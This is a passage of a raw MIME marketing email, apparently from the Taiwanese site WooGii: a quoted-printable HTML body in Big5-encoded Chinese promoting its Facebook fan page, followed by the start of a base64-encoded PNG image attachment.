16.5pt">&nbsp;</FONT></FONT></TD></TR> <TR> <TD><FONT style=3D"COLOR: #0000ff" size=3D5 font=3D""><FONT=20 face=3D"Times New Roman"><STRONG>=BBP <EM><FONT = size=3D6>WooGii</FONT></EM> =A6X=A7@=20 =AA=BD=B1=B5=C2I=BF=EF</STRONG></FONT><A=20 = href=3D"http://www.woogii.com.tw/home.php?mod=3Dstore&amp;amp;do=3Dcontac= t&amp;amp;view=3Dguest"><FONT=20 face=3D"Times New = Roman"><STRONG>=A1u=B3s=B5=B8=A7=DA=AD=CC=A1v</STRONG></FONT></A></FONT><= /TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><FONT=20 style=3D"FONT-SIZE: 16.5pt">&nbsp;</FONT></FONT></TD></TR> <TR> <TD><FONT style=3D"COLOR: #0000ff" size=3D4 face=3D"Times New Roman" = font=3D"font"><STRONG>=BD=D0=A5=DF=A7Y=A5[=A4JWooGii = FB=AF=BB=B5=B7 =A7=D6=A6=DC=A4U=A6C=BA=F4=A7}=AB=F6=A1=A7 = =C6g=A1=A7</STRONG></FONT></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><STRONG><FONT style=3D"COLOR: = #0000ff"=20 size=3D6 font=3D"font"><EM>WooGii<SPAN=20 class=3DApple-converted-space>&nbsp;</SPAN></EM></FONT><FONT=20 style=3D"COLOR: #0000ff" size=3D4 = font=3D"font">=A1iFB=AF=BB=B5=B7=B9=CE=A1j:<SPAN=20 class=3DApple-converted-space>&nbsp;<A=20 href=3D"https://www.facebook.com/woogii.co"><FONT=20 = size=3D5>https://www.facebook.com/woogii.co</FONT></A></SPAN></FONT></STR= ONG></FONT></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><FONT=20 style=3D"FONT-SIZE: = 16.5pt">&nbsp;</FONT></FONT></TD></TR></TBODY></TABLE></DIV></DIV></BODY>= </HTML> ------=_NextPart_001_000B_01CF1C5A.C0148B80-- ------=_NextPart_000_000A_01CF1C5A.C0146470 Content-Type: image/png; name="image1[3].png" Content-Transfer-Encoding: base64 Content-ID: <7B1B16DED7E0403A86C587EE31032CD2@adminPC> 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 